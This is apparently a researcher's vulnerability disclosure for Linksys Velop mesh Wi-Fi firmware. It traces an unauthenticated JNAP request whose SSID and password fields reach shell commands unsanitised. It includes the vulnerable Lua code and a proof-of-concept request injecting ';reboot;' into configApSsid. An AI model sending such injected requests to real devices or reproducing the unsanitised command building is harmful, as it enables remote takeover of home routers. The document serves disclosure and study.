puzzor@home:~$

Linksys velop configapssid command injection with preauth

Affected Software

The firmware version which I test is 1.1.2.185309

Product Background

Velop is WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.

There are three categories from their official site :WHW0303,WHW0302,WHW0301. The differences between these three is the pack count: 1, 2 or 3. The system are the same.

Vulnerability Details

No CVE at the moment

There is a command injection vulnerability through JNAP action of http://linksys.com/jnap/nodes/smartconnect/SmartConnectConfigure , the vulneraibility may lead to RCE without authentication JNAP is a web services protocol for Cisco, similar as HNAP.

There are many X-JNAP-Actions can be made through HTTP request. One of the action is http://linksys.com/jnap/nodes/smartconnect/SmartConnectConfigure, for example, the http server can handle the following request without any authentication.

POST /JNAP/ HTTP/1.1
    Host: 10.158.1.1
    Accept: application/json; charset=UTF-8
    Expires: Fri, 10 Oct 2015 14:19:41 GMT
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9
    Cache-Control: no-cache
    Content-Type: application/json; charset=UTF-8
    Content-Length: 135
    User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)
    Connection: close
    X-JNAP-Action: http://linksys.com/jnap/nodes/smartconnect/SmartConnectConfigure
    
    {"configApSsid":"ssid","configApPassphrase":"wifipass","srpLogin":"user","srpPassword":"password"}

Through the action name, this request seems to be used to configure the smart wifi so it needn’t any authentication.The first .lua file which processes this request is smartconnect_server.lua in /JNAP/modules/:

local function SmartConnectConfigure(ctx, input)
        local smc = require('smartconnect')
        local sc = ctx:sysctx()
        local error, output = smc.smartConnectConfigure(sc, input)
        return error or 'OK'
    end

Input parameters will be passed to smartConnectConfigure function in smartconnect.lua in /usr/local/lib/lua/5.1/, when we looked into this function and found there is no check of the input parameters:

function _M.smartConnectConfigure(sc, input)
        sc:writelock()
        local hdk = require('libhdklua')
        local smart_mode = sc:get_smartmode()
        if smart_mode == 2 then
            -- If a device is Master node.
            local error, output = bluetooth.btSmartConnectConfigure(input.configApSsid, input.configApPassphrase, input.srpLogin, input.srpPassword)
            if not error then
                return nil
            else
                return error
            end
        elseif smart_mode == 0 then
            -- If a device is Unconfigured.
            sc:set_smartconnect_configured_ssid(input.configApSsid);
            sc:set_smartconnect_configured_passphrase(input.configApPassphrase);
            sc:set_smartconnect_auth_login(input.srpLogin);
            sc:set_smartconnect_auth_pass(input.srpPassword);
            sc:set_smartmode(1)
            sc:set_bridge_mode_wo_reboot(1)
            sc:set_wifibridge_mode_wo_event(2)
            -- sc:setevent(_M.SMART_CONNECT_SETUP_STATUS, 'DONE')
            -- sc:setevent(_M.FORWARDING_RESTART, '')
            os.execute('smcdb_cli create')
            os.execute('smcdb_cli update -s '..input.configApSsid..' -p '..input.configApPassphrase..' -l '..input.srpLogin..' -a '..input.srpPassword)
            os.execute('sysevent set smart_connect::setup_status AUTH')
            os.execute('sysevent set forwarding-restart')
            return nil
        else
            return 'ErrorBTUnsupportedMode'
        end
    end

Then btSmartConnectConfigure will be called:

function _M.btSmartConnectConfigure(configap, configpass, srplogin, srppass)
        local opt = '-f '..'-A '..configap..'-P '..configpass..'-L '..srplogin..'-R '..srppass
        local error, output = _M.btRunCentralCommandSync(opt)
        if error then
            return '_ErrorUnexpected'
        end
        return nil, output
    end

    function _M.btRunCentralCommandSync(option)
        assert(option)
        local output = {}
        local table
        local jsonData
        local json = require('libhdkjsonlua')
        local file = io.(_M.RUN_CENTRAL_CMD_SYNC:format(option))
        if file then
            jsonData = file:read('*a')
            file:close()
            -- Parsing result
            table = json.parse(jsonData)
            if not table then
                platform.logMessage(platform.LOG_ERROR, ('Failed parsing JSON data\n'))
                return 'error_get_result_fail'
            end
            if table.result == 'error_bt' then
                platform.logMessage(platform.LOG_ERROR, ('JNAP error(%s) occurred\n'):format(table.result))
                return 'error_get_result_fail'
            end
            if table.result == 'error_jnap_req_fail' then
                platform.logMessage(platform.LOG_ERROR, ('JNAP error(%s) occurred\n'):format(table.result))
                return 'error_get_result_fail'
            end
            if table.result == 'error_not_connected' then
                platform.logMessage(platform.LOG_ERROR, ('JNAP error(%s) occurred\n'):format(table.result))
                return 'ErrorBTNotConnected'
            end
            if table.result == 'error_conn_lost' then
                platform.logMessage(platform.LOG_ERROR, ('JNAP error(%s) occurred\n'):format(table.result))
                return 'ErrorBTConnectionLost'
            end
            if table.result == 'error_notify_timeout' then
                platform.logMessage(platform.LOG_ERROR, ('JNAP error(%s) occurred\n'):format(table.result))
                return 'ErrorBTPeripheralNotRespond'
            end
            if table.result == 'error_command_fail' then
                platform.logMessage(platform.LOG_ERROR, ('JNAP error(%s) occurred\n'):format(table.result))
                return 'ErrorBTCommandFailed'
            end
            if table.result == 'error_notify_enable_fail'
                or table.result == 'error_gatt_read_fail'
                or table.result == 'error_gatt_write_fail' then
                platform.logMessage(platform.LOG_ERROR, ('JNAP error(%s) occurred\n'):format(table.result))
                return 'ErrorBTCommunicationFailed'
            end
           output = table
        end
        return nil, output
    end

RUN_CENTRAL_CMD_SYNC is defined at the top of bluetooth.lua

_M.RUN_CENTRAL_CMD_SYNC = '/usr/bin/btsetup_central %s'

So, there are four parameters passed to the function btSmartConnectConfigure: configApSsid,configApPassphrase,srpLogin and srpPassword. In the btRunCentralCommandSync function, there is a call to /usr/bin/btsetup_central with the four parameters given. There is not any check of the four parameters and cause a command injection problem. Since this request will be processed without authentication, an attacker can get RCE with preauth.

PoC

The following PoC will cause a reboot of the node.

    POST /JNAP/ HTTP/1.1
    Host: 10.158.1.1
    Accept: application/json; charset=UTF-8
    Expires: Fri, 10 Oct 2015 14:19:41 GMT
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9
    Cache-Control: no-cache
    Content-Type: application/json; charset=UTF-8
    Content-Length: 135
    User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)
    Connection: close
    X-JNAP-Action: http://linksys.com/jnap/nodes/smartconnect/SmartConnectConfigure
    
    {"configApSsid":"testssid;reboot;","configApPassphrase":"testwifipass","srpLogin":"testlogin","srpPassword":"testpass"}

Timeline

2018-03-04: Discovered

2019-02-05: Reported, but the vendor has fixed